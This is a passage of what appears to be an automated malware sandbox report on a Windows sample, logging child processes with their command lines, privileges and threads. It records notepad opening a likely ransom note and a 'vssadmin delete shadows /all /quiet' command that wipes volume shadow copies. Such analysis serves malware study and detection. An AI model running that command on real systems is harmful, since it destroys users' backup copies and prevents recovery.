"C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000dfcf" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1607 os_tid = 0x728 Thread: id = 1615 os_tid = 0x758 Thread: id = 1616 os_tid = 0x75c Thread: id = 1617 os_tid = 0x764 Thread: id = 1618 os_tid = 0x768 Process: id = "14" image_name = "notepad.exe" filename = "c:\\windows\\syswow64\\notepad.exe" page_root = "0x4d6f1000" os_pid = "0x978" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0x674" cmd_line = "C:\\Windows\\system32\\notepad.exe C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000dfcf" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 10917 os_tid = 0x1604 Thread: id = 10923 os_tid = 0x1704 Process: id = "15" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x4ddfe000" os_pid = "0x1608" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0x674" cmd_line = "C:\\Windows\\system32\\vssadmin.exe delete shadows /all /quiet" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000dfcf" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 10918 os_tid = 0x1638 Thread: id = 10919 os_tid = 0x160c Thread: id = 10920 os_tid = 0x1610 Thread: id = 10921 os_tid = 0x1614 Thread: id = 10922 os_tid = 0x1618